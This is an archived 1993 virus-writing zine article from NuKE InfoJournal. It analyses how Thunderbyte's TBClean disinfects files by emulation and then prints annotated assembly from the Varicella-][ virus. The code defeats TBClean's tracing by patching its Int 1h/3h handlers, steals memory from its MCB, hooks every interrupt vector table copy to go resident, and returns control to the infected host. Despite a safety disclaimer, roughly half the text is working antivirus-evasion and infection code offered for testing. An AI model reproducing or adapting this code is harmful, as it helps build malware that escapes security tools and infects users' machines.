home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut010.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  27.8 KB  |  541 lines

  1. ================================================================================
  2.           NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
  3.           uK                                                       E-
  4.           E-   "The Dangers of Thunderbyte's TBClean Emulation     Nu
  5.           Nu                     Techniques"                       KE
  6.           KE                                                       -N
  7.           -N                         By                            uK
  8.           uK                     Rock Steady                       E-
  9.           E-                                                       Nu
  10.           E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
  11.  
  12. NuKE InfoJournal #7
  13. August 1993
  14.  
  15.  
  16. % AntiVirus Spotlight of the Issue - Thunderbyte Anti-Virus v6.04 %
  17.  
  18. % DISCLAIMER %
  19.  
  20. This article is concerning a study and field test of the reliability of
  21. Thunderbyte's anti-virus package. The study was conducted by Rock Steady,
  22. and this is simply a report about his extensive study of Thunderbyte's
  23. TBClean utility. This report is not intended to scare people away from
  24. Thunderbyte's anti-virus package, but rather to show you how TBClean
  25. actually works in order to clean a virus. The information here may disturb
  26. many people, nevertheless it is presented here for the safety of those who
  27. use Thunderbyte's TBClean in a home and/or business environment.
  28.  
  29.  
  30. % What is ThunderByte %
  31.  
  32. Thunderbyte is an anti-virus package, sometimes known as TBAV for ThunderByte
  33. Anti-Virus. TBAV tries to use fairly new techniques to try to detect and clean
  34. computer viruses. In this issue of the NuKE InfoJournal, we will take a
  35. very close look at the structure of TBAV, mainly the utility TBCLEAN.EXE
  36. which is supplied in every TBAV package.
  37.  
  38. TBCLEAN.EXE is a program that tries to remove viruses from your infected
  39. files by using an heuristic/emulation approach. Now, for those who don't
  40. understand what an heuristic/emulation approach is let me try to explain
  41. it to you in more simplified, less-technical terms.
  42.  
  43. TBClean will try to set up a "control" environment to execute the virus. You
  44. see, many of the computer viruses today will attach themselves to binary files
  45. and alter them in such a way that when you try to execute (run) the binary
  46. file the virus will execute first and install itself into memory, and then
  47. the virus will execute the original binary file it is attached to. Now, every
  48. ????????.COM and ????????.EXE binary file contains an entry point. This is the
  49. point from which DOS to starts to execute the code. Basically it is
  50. the beginning of the program, and in order for the file to run properly we
  51. need to start at that entry point. Now *.COM files contain a FIXED entry point
  52. which is location 100h. Now if we attach a virus to the end of the COM file,
  53. we have to fix the entry point so that when executed the virus will run
  54. first. Since this is a FIXED entry point, we will go to location 100h, and
  55. put a JMP statement to jump to the entry point of the virus. For the
  56. original file to execute correctly, we will need the original three bytes
  57. at the entry point, since the JMP we put for it to jump to the virus entry
  58. point took three bytes of data in the .COM. So when the virus gives control
  59. back to the file, we then must restore the original three bytes and execute
  60. them.
  61.  
  62. Now to remove the virus from the .COM file we need to know where the original
  63. three bytes are. So TBClean will actually execute the virus and try to catch
  64. the virus restoring the original three bytes. Once that happens, TBClean can
  65. safely remove the virus from the file, as it now can replace the original
  66. three bytes where the virus put its jump statement.
  67.  
  68. Now .EXEs have a variable entry point, rather than a fixed one like the .COM
  69. files.  Each .EXE file contains a header of about 32 bytes in the beginning
  70. of the file which has information about the .EXE itself, including the entry
  71. point. Now when a virus attaches (infects) itself to an .EXE file, it simply
  72. puts its entry point inside the .EXE header and saves the original one for
  73. later use.
  74.  
  75. Again, in order to remove a file from an .EXE file, we will need to have the
  76. original entry point location. And TBClean does this by executing the virus
  77. in a controlled environment; when the virus restores control back to the
  78. .EXE file, it will jump to the entry point location. TBClean will halt
  79. at that point and attempt to clean the file.
  80.  
  81.  
  82. % The Problem %
  83.  
  84. The problem when doing this, the virus can always escape from this controlled
  85. environment and go loose. In fact we at NuKE have attempted and succeeded in
  86. doing just that!
  87.  
  88.  
  89. % Explanation %
  90.  
  91. When you run TBClean to disinfect a virus-infected file, it does several
  92. things in order to set up the environment needed to execute the virus. One of
  93. things that TBClean does is check to see if it is being debugged.
  94.  
  95. I guess the makers of TBClean did not want people to "debug" their software
  96. in order to have a closer look because once you know how the program works
  97. you then can attempt to bypass it. The easiest way to bypass the anti-debug
  98. traps is to use a debugger package that can go TSR and put loose breakpoints.
  99. I've found that Periscope and SoftIce can easily bypass the TBClean traps,
  100. or you may set a TSR file and set it to go off on the first interrupt 21h,
  101. function 3Dh (DOS Open File).
  102.  
  103. The next main trick TBClean does is that it occupies all of the remaining
  104. memory left in the system. TBClean only requires about 20k for itself, but
  105. nevertheless it will occupy all the remaining memory left in the system. It
  106. will use this memory for the file it will attempt to clean, but not all of the
  107. memory is really needed, nevertheless it is occupied. Why? Well, because
  108. TBClean wants to set-up a secure environment to run the virus and by occupying
  109. all the available memory if the virus gets out of hand it CAN'T go resident
  110. because there is no more memory left! "Pretty smart," you must be saying to
  111. yourself? Yes, it is a good idea to occupy all of the memory, so like even if
  112. the virus tries to allocate memory it will get an error and it will quit.
  113.  
  114. The next trick, before TBClean actually executes the virus in the controlled
  115. environment is that it will make two copies of the interrupt vector table.
  116. This too is a good idea, because if a virus does manage to escape and hook the
  117. vector table, TBClean will notice the vector table change and restore it
  118. with the original value. Therefore, if a virus was to "get out" of this
  119. controlled TBClean environment we would need to hook all three copies of the
  120. vector tables (DOS + the two copies that TBClean makes).
  121.  
  122. After this, we are pretty much ready to try to make a disinfection via
  123. emulation. Of course TBClean turns on the Trap flag, and uses Int 0h, 1h, 3h,
  124. and 4h to do the actual tracing. The interrupt that we REALLY need to pay
  125. attention to is Int 1h. Why? Well, when Intel built the first 80x86 (the 8086)
  126. they added what we call a Trap Flag. Normally this flag is off, and the
  127. processor executes every line of code without stoping. But when the trap flag
  128. is on, the processor will issue an Int 1h call after every line of code
  129. executed. Therefore, after every line of code is executed the processor will
  130. issue an Int 1h, which TBClean quietly awaits -- then it can actually analyze
  131. the code line by line.
  132.  
  133. There are a few restrictions that TBClean enforces; one of them is the Trap
  134. flag must always be on! If you try to turn off the Trap flag, TBClean will
  135. fool the virus into thinking the Trap flag is off, but it really stays on.
  136. Secondly, interrupt calls are not allowed. Thirdly, it will never give you
  137. the true vector address of Int 1h or Int 3h -- it gives you a fake value
  138. instead. Finally, TBClean will NOT allow the virus to have its segment in
  139. the DS or ES registers, meaning that if TBClean resided in location 0ABC:0000,
  140. the value 0ABC is never allowed to go in the DS or ES registers of the virus.
  141. This is done so the virus is not able to snoop inside TBClean.
  142.  
  143.  
  144. % Making a virus to bypass TBClean %
  145.  
  146. After I had successfully taken apart TBClean, and once I understood exactly
  147. how it worked, then I was ready to write a virus to defeat TBClean's
  148. dangerous emulation techniques.
  149.  
  150. Don't get me wrong, TBClean has a great idea going, but it contains too many
  151. flaws that must be tightened up. And apparently those flaws can lead to the
  152. destruction of your PC. Just think about it. Let's say you just downloaded a
  153. file from your local BBS, and you used TBSCAN to scan the new file for viruses,
  154. before you attempt to execute it. Lets say the file is infected with a virus
  155. like Varicella-][, which can bypass TBClean. Now if TBSCAN reported a virus,
  156. wouldn't you naturally try to clean it so you could perhaps use the file? Of
  157. course you would, and what program would you use to do the job? Nothing but
  158. TBClean!
  159.  
  160. Picture it, your computer is not infected by any virus, you are pretty much
  161. happy about yourself for using TBSCAN and detecting that virus inside that
  162. file you just downloaded. Your glad you got it before it infected your
  163. computer. Or lets say you got TBScanX resident, and it caught the virus, just
  164. as you attempt to executed it... You now try to clean the file with TBClean.
  165. TBClean does what it has to do, looks at the file and then tries emulation to
  166. disinfect it. After emulation TBClean reports no viruses found, and tells you
  167. that it may not even be infected with a virus.
  168.  
  169. You're puzzled? Well, actually TBClean just unleased the virus into your
  170. system! Now who's to blame? Personally, I think it's the incompetent
  171. programmers of TBClean. It allowed too many loopholes in their program, and
  172. the Varicella-][ virus just took advantage of those loopholes and is now
  173. resident in your computer, ready to infect every file you touch. Remember, it
  174. is also a very fast, stealthy virus.
  175.  
  176. Personally, if _any_ anti-virus program should attempt to disinfect via
  177. emulation, it must be EXTREMELY cautious, and it should take every
  178. possible loophole into account. Remember, emulation means that you are
  179. actually executing the virus in order to disinfect it. Many people didn't
  180. know that, but TBClean executes (RUNS) the virus! How Satanic! Thunderbyte
  181. should praise NuKE for testing their software and showing them their flaws, so
  182. that they may do whatever is necessary to fix this problem.
  183.  
  184. It is fortunate for Thunderbyte that no "evil" virus writer has noticed
  185. this problem and took advantage of it. It would have cost Thunderbyte
  186. their name and market share.
  187.  
  188. Anyhow, enough with Thunderbyte, this package has enough flaws. It is sad
  189. that Thunderbyte rated very low under NuKE's personal attack tests in several
  190. fields.
  191.  
  192. Thunderbyte reported too many false positives, meaning it screamed *VIRUS*
  193. when no virus was present. It is enough that the average computer user is
  194. paranoid about viruses, but if you "cry wolf" too many times people lose hope
  195. in the package.
  196.  
  197. Thunderbyte was incapable of working in a DOS Window shell, in SCO Unix, and
  198. under OS/2. This seems to be because TBSCAN uses its own file routines, instead
  199. of DOS's.
  200.  
  201. Thunderbyte is also not very user friendly -- 4 out of 5 moms found this
  202. package too difficult to use. A Windows version of Thunderbyte could
  203. be a great plus.
  204.  
  205.  
  206. % And in this corner...Varicella-][ %
  207.  
  208. Let's go into detail with parts of the Varicella-][ virus and let's show you why
  209. it works.
  210.  
  211.      1          mov     byte ptr cs:[tb_here][bp],00h   ;Reset TB flag
  212.      2          xor     dx,dx                           ;dx=0
  213.      3          mov     ds,dx                           ;ds=0
  214.      4          mov     ax,word ptr ds:[0006h]          ;ax=0000:0006 segment of
  215.      5          dec     ax
  216.      6          mov     ds,ax
  217.  
  218. Okay, after looking at the above we begin by resetting our TB flag. TBClean
  219. will not give us the complete address of Int 1h. It will only give us the
  220. correct segment, the offset is no good. Therefore let's simply take the segment.
  221. Now we know the segment location of TBClean in memory, since TBClean will
  222. not let me store the value in DS, let's subtract 1 and *then* store it in DS.
  223. We have again fooled TBClean; maybe we can't have TBClean's correct segment
  224. in DS, but by subtracting 1 and adding 16 to IP, we get the exact location.
  225.  
  226. In the next block of code, we will search 64k of TBClean's memory in order to
  227. find the Int 1h and 3h offsets and the two copies of the vector table. This is
  228. the bit of data we will be searching for.
  229.  
  230. ====================Somewhere in TBClean.EXE==v6.04===================
  231.  1 cs:04A4  33C0                xor     ax,ax
  232.  2 cs:04A6  8ED8                mov     ds,ax
  233.  3 cs:04A8  8BF8                mov     si,ax
  234.  4 cs:04AA  BF342D              mov     di,2D34
  235.  5 cs:04AD  B90002              mov     cx,0200
  236.  6 cs:04B0  F3A5                rep movsw
  237.  
  238. [The above block is coping the vector table (0000:0000) to location
  239.  ES:DI (ES:2D34). This value we will need.]
  240.  
  241.  7 cs:04B2  FA                  cli
  242.  8 cs:04B3  C70600005411        mov     word ptr [0000],1154
  243.  9 cs:04B9  8C0E0200            mov     [0002],cs
  244. 10 cs:04BD  C7060400E513        mov     word ptr [0004],13E5
  245. 11 cs:04C3  8C0E0600            mov     [0006],cs
  246. 12 cs:04C7  C7060C006B15        mov     word ptr [000C],156B
  247. 13 cs:04CD  8C0E0E00            mov     [000E],cs
  248. 14 cs:04D1  C70610005411        mov     word ptr [0010],1154
  249. 15 cs:04D7  8C0E1200            mov     [0012],cs
  250. 16 cs:04DB  C70614005411        mov     word ptr [0014],1154
  251. 17 cs:04E1  8C0E1600            mov     [0016],cs
  252. 18 cs:04E5  C70618005411        mov     word ptr [0018],1154
  253. 19 cs:04EB  8C0E1A00            mov     [001A],cs
  254. 20 cs:04EF  C7066C002411        mov     word ptr [006C],1124
  255. 21 cs:04F5  8C0E6E00            mov     [006E],cs
  256. 22 cs:04F9  FB                  sti
  257.  
  258. [The above block is hooking the vector table. This is were we get our
  259.  Int 1h and 3h location.]
  260.  
  261. 23 cs:04FA  8BF0                mov     si,ax
  262. 24 cs:04FC  8BF8                mov     di,ax
  263. 25 cs:04FE  2E8E06F032          mov     es,cs:[32F0]
  264. 26 cs:0503  B90080              mov     cx,8000
  265. 27 cs:0506  F3A5                rep movsw
  266.  
  267. [The above block copies 8000 bytes (vector table, CMOS, BIOS, etc.) into
  268.  the segment which is in location CS:32F0. We will need to get this
  269.  location to hook the interrupts.]
  270. ===========================END of TBClean=============================
  271.  
  272. Now, the bellow block will start to search for the above block in memory
  273. where we will scan 64k from the segment we got.
  274.  
  275.                 mov     cx,0FFFFh                       ;cx=64k
  276.                 mov     si,dx                           ;si=0
  277.  
  278. look_4_TBClean: mov     ax,word ptr ds:[si]
  279.                 xor     ax,0A5F3h
  280.  
  281. [You could do a "CMP   WORD PTR DS:[SI],0A5F3h", I just wanted to be sneaky
  282.  because TBClean will find out what I'm doing and fool around with the
  283.  flag and my test will fail! As you can see, we are looking for the bytes
  284.  from line #6. We search by REVERSE-BIT format! To find F3A5 we search with
  285.  A5F3.]
  286.                 je      check_it                        ;jmp if its TBClean
  287. look_again:     inc     si                              ;if not continue looking
  288.                 loop    look_4_TBClean
  289.                 jmp     not_found                       ;not found cont normal
  290.  
  291. [If A5F3 is found, we continue with the bottom, which will search for more bytes
  292.  in that block captured above. These bytes that we are searching for exist
  293.  in all version of TBClean v6.00-6.04. I haven't test bellow v6.00, but it
  294.  should work!]
  295.  
  296. check_it:       mov     ax,word ptr ds:[si+4]
  297.                 xor     ax,0006h
  298.                 jne     look_again                      ;jmp =! TBClean
  299.                 mov     ax,word ptr ds:[si+10]
  300.                 xor     ax,020Eh
  301.                 jne     look_again                      ;jmp =! TBClean
  302.                 mov     ax,word ptr ds:[si+12]
  303.                 xor     ax,0C700h
  304.                 jne     look_again                      ;jmp =! TBClean
  305.                 mov     ax,word ptr ds:[si+14]
  306.                 xor     ax,0406h
  307.                 jne     look_again                      ;jmp =! TBClean
  308.  
  309. [If all the bytes match, it means we found TBClean in memory, and since we
  310.  know where we are, we can steal the Int 1h & 3h locations, like we do
  311.  bellow.]
  312.                 mov     bx,word ptr ds:[si+17]          ;steal REAL int 1 offset
  313.  
  314. [Now that we have the offset of Int 1h in BX, replace the first byte at Int 1h
  315.  handler with CF (IRET), making the handler Useless! NOTE: we are adding 16 to
  316.  the offset because the segment is really DS - 1, so to counter act the segment
  317.  we add 16 to the offset. (16 bytes = 1 segment)]
  318.  
  319.                 mov     byte ptr ds:[bx+16],0CFh        ;replace with IRET
  320.  
  321. [Same is done for Int 3h bellow.]
  322.  
  323.                 mov     bx,word ptr ds:[si+27]          ;steal REAL int 3 offset
  324.                 mov     byte ptr ds:[bx+16],0CFh        ;replace with IRET
  325.  
  326. [TBClean is OFFICIALLY DEAD! Congrats, now lets turn on the flag, cause we
  327.  found TBClean, and let's go resident]
  328.  
  329.                 mov     byte ptr cs:[tb_here][bp],01h   ;set the TB flag on
  330.  
  331. [The next block gets the segment of where the 2nd copy of the vector table
  332.  is hiding (line #25 in TBClean capture)!]
  333.  
  334.                 mov     bx,word ptr ds:[si+51h]         ;get 2nd segment of ints
  335.                 mov     word ptr cs:[tb_int2][bp],bx    ;vector table
  336.  
  337. [The next block gets the offset of the 1st copy of the vector table that
  338.  TBClean did (line #4 in TBClean capture).]
  339.  
  340.                 mov     bx,word ptr ds:[si-5]           ;get offset of 1st copy
  341.                 mov     word ptr cs:[tb_ints][bp],bx    ;of vector table
  342.  
  343. [Now we can get the real Int 21h, 13h,and 1Ch locations from the vector table.]
  344.  
  345. not_found:      xor     dx,dx
  346.                 push    ds
  347.                 mov     ds,dx                           ;put that in ds
  348.                 les     si,dword ptr ds:[0084h]         ;get int21 vector
  349.                 mov     word ptr cs:[int21][bp],si      ;save int21 offset
  350.                 mov     word ptr cs:[int21+2][bp],es    ;save int21 segment
  351.  
  352.                 les     si,dword ptr ds:[0070h]         ;get int1c vector
  353.                 mov     word ptr cs:[int1c][bp],si      ;save int1c offset
  354.                 mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment
  355.  
  356.                 les     si,dword ptr ds:[004ch]         ;get int13 vector
  357.                 mov     word ptr cs:[int13][bp],si      ;save int13 offset
  358.                 mov     word ptr cs:[int13+2][bp],es    ;save int13 segment
  359.                 pop     ds
  360.  
  361.                 mov     byte ptr cs:[mcb][bp],00h       ;reset the TB mcb flag
  362.                 mov     ax,0abcdh                       ;test if virus is here?
  363.                 int     13h
  364.                 cmp     bx,0abcdh                       ;is it?
  365.                 jne     install_virus                   ;jmp, if not & install
  366. leave_mcb:      jmp     exit_mem                        ;yes, leave then
  367.  
  368. [This is the tricky part! Remember TBClean occupies ALL available memory!
  369.  So I had to come up with a routine that would work when TBClean was NOT in
  370.  memory, and when it was! The task was hard...but I did it (naturally, hehe).
  371.  
  372.  TBClean *NOT* in memory: If TBClean is not in memory, then we start at location
  373.  "install_virus" and we get the List of Lists, and we get the FIRST MCB chain
  374.  and basically we chain through until we find the END of the MCB chain, which
  375.  ends with a "Z" instead of an "M". Once we find the last chain we subtract
  376.  the virus size in paragraphs, and that's it...
  377.  
  378.  TBClean in memory: If TBClean is in memory when the virus finds the LAST
  379.  MCB block and tries to subtract its size from it, it will notice that
  380.  not enough memory is available. Where then will jump to "steal_some."
  381.  
  382.  What "steal_some" does is it will REPEAT the process again. Meaning it will
  383.  now get the FIRST MCB chain, and chain through the end, but while its chaining
  384.  through the MCB, it will look for the MCB that belongs to TBClean!!! Once we
  385.  find the MCB that belongs to TBClean we will subtract the virus size in
  386.  paragraphs from it and voila -- we stole and allocated memory while bypassing
  387.  TBClean!!! And now we can safely return to TBClean without worrying if it will
  388.  de-allocate our memory space.]
  389.  
  390. ;--------- Going Resident ------
  391.  
  392. steal_some:     mov     al,byte ptr cs:[mcb][bp]        ;if tb is here, steal
  393.                 cmp     al,0ffh                         ;memory from it!
  394.                 je      leave_mcb                       ;error? exit then
  395.                 inc     byte ptr cs:[mcb][bp]           ;inc flag
  396.                 cmp     al,01                           ;
  397.                 ja      mcb3_1
  398.  
  399. install_virus:  mov     ah,52h                          ;get the list of lists
  400.                 int     21h                             ;use dos
  401.                 mov     ax,es:[bx-2]                    ;get first mcb chain
  402.  
  403.                 mov     es,ax                           ;es=segment of 1st mcb
  404. mcb1:           cmp     byte ptr es:[0000h],'Z'         ;is it the last mcb
  405.                 jne     mcb2                            ;jmp if not
  406.                 clc                                     ;yes last mcb, CLC
  407.                 jmp     short mcbx                      ;outta here
  408.  
  409. mcb2:           cmp     byte ptr es:[0000h],'M'         ;is it in the chain
  410.                 je      mcb3                            ;jmp if yes
  411.                 stc                                     ;error, set carry flag
  412.                 jmp     short mcbx                      ;outta here
  413.  
  414. [The bellow block is special! Meaning if the TB flag is on, we will compare
  415.  ALL of the MCB block owners to find the one that belongs to TBClean! Since
  416.  we already know the segment of TBClean, we subtract 100h (256) bytes and we
  417.  have its PSP area. Since DS = segment - 1, we will do DS = segment - 9, since
  418.  we  already subtracted 1 from the beginning!]
  419.  
  420. mcb3:           cmp     byte ptr cs:[mcb][bp],0         ;is TB flag off?
  421.                 je      mcb3_1                          ;if yes, then jmp
  422.                 mov     dx,ds                           ;else cmp TB ds
  423.                 sub     dx,9h                           ;ds-10
  424.                 cmp     word ptr es:[0001h],dx          ;cmp to mcb owner.
  425.                 je      mcbx_1
  426.  
  427. mcb3_1:         mov     ax,es                           ;ax=es
  428.                 add     ax,word ptr es:[0003h]          ;ax=es + next mcb
  429.                 inc     ax                              ;get mcb
  430.                 mov     es,ax                           ;es=ax:next mcb chain
  431.                 jmp     short mcb1                      ;goto first step
  432.  
  433. mcbx:           jc      leave_mcb                       ;if error, exit
  434. mcbx_1:         cmp     word ptr es:[0003],(virus_size/16) + 11h
  435.                 jb      steal_some
  436.                 mov     byte ptr es:[0000],'Z'          ;the last mcb chain!
  437.                 sub     word ptr es:[0003],(virus_size/16) + 11h
  438.                 add     ax,word ptr es:[0003h]          ;figure out segment
  439.                 inc     ax                              ;add 16 bytes
  440.                 mov     es,ax                           ;new segment in es
  441.                 mov     di,103h                         ;offset is 103h
  442.  
  443. [Now we have some memory! Let's move a copy of the virus into that newly
  444.  allocated memory under the TOM!]
  445.  
  446.                 push    ds                              ;save TB ds location
  447.                 push    cs
  448.                 pop     ds                              ;virus cs=ds
  449.                 mov     si,offset init_virus            ;si=top of virus
  450.                 add     si,bp                           ;add delta
  451.                 mov     cx,virus_size                   ;move virus_size
  452.                 cld                                     ;clear direction flag
  453.                 repne   movsb                           ;do it Mr. Crunge
  454.  
  455. [Now we will hook the DOS Vector table (0000:0000->0000:0200).]
  456.  
  457.                 mov     ds,cx                           ;ds=0000
  458. hook_again:     cli                                     ;disable ints
  459.                 mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
  460.                 mov     word ptr ds:[0086h],es
  461.                 mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
  462.                 mov     word ptr ds:[0072h],es
  463.                 mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
  464.                 mov     word ptr ds:[004eh],es
  465.                 sti                                     ;enable ints
  466.  
  467. [We will test if the TBClean flag is on! If TBClean flag is on, we will make
  468.  DS = "segment of 2nd copy of vector table in TCLEAN" and hook it!]
  469.  
  470.                 cmp     byte ptr cs:[tb_here][bp],00h   ;was TB found?
  471.                 je      go_on                           ;no, then jmp
  472.                 cmp     cl,01h                          ;is this the 2nd x here?
  473.                 je      go_on                           ;yes, then jmp
  474.                 mov     ds,word ptr cs:[tb_int2][bp]    ;get TB int segment
  475.                 inc     cl                              ;inc cl
  476.                 jmp     short hook_again                ;hook ints again
  477.  
  478. [If TBClean was found the bellow block will now hook the last copy of the
  479.  vector table that TBClean did...]
  480.  
  481. go_on:          pop     ds                              ;get TB code segment
  482.                 cmp     byte ptr cs:[tb_here][bp],01h   ;TB here?
  483.                 je      hook_tb_ints                    ;yes, then jmp
  484.                 jmp     exit_mem                        ;else exit
  485. hook_tb_ints:   mov     si,word ptr cs:[tb_ints][bp]    ;get TB int offset
  486.                 mov     word ptr ds:[si+84h+16],offset int21_handler
  487.                 mov     word ptr ds:[si+86h+16],es
  488.                 mov     word ptr ds:[si+70h+16],offset int1c_handler
  489.                 mov     word ptr ds:[si+72h+16],es
  490.                 mov     word ptr ds:[si+4ch+16],offset int13_handler
  491.                 mov     word ptr ds:[si+4eh+16],es
  492.  
  493. [ALL DONE!!! Now we restore to the original file!
  494.  
  495.  So how does it feel to fool TBClean??? Article #11 contains the complete
  496.  source code of the Varicella-][ virus. You may test it as you wish!]
  497.  
  498. exit_mem:       pop     ds
  499.                 pop     es
  500.                 pop     si
  501.                 cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
  502.                 je      exit_exe_file                   ;yupe exit exe file
  503.                 cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
  504.                 je      exit_exe_file                   ;yupe exit exe file
  505.                 push    cs
  506.                 pop     ds
  507.                 mov     bx,offset buffer                ;get first 3 bytes
  508.                 add     bx,bp                           ;fix delta
  509.                 mov     ax,[bx]                         ;move first 2 bytes
  510.                 mov     word ptr ds:[100h],ax           ;put em in the beginning
  511.                 inc     bx                              ;inc pointer
  512.                 inc     bx
  513.                 mov     al,[bx]                         ;get last of 3rd byte
  514.                 mov     byte ptr ds:[102h],al           ;put that in place
  515.                 pop     dx
  516.                 pop     cx
  517.                 pop     bx
  518.                 pop     word ptr cs:[ax_reg][bp]        ;save ax else where
  519.                 mov     ax,100h
  520.                 push    ax                              ;fake a CALL & RETN
  521.                 mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
  522.                 retn                                    ;link to 100h
  523.  
  524. exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
  525.                 add     dx,10h                          ;add 16bytes to seg
  526.                 pop     word ptr cs:[ax_reg][bp]
  527.                 pop     cx
  528.                 pop     bx
  529.                 pop     ax
  530.                 add     word ptr cs:[buffer+22][bp],dx  ;fix segments
  531.                 add     dx,word ptr cs:[buffer+14][bp]
  532.                 cli
  533.                 mov     ss,dx                           ;restore ss
  534.                 mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
  535.                 sti
  536.                 mov     dx,word ptr cs:[ax_reg][bp]
  537.                 jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.
  538.  
  539.                             Rock Steady/NuKE
  540. ===============================================================================
  541.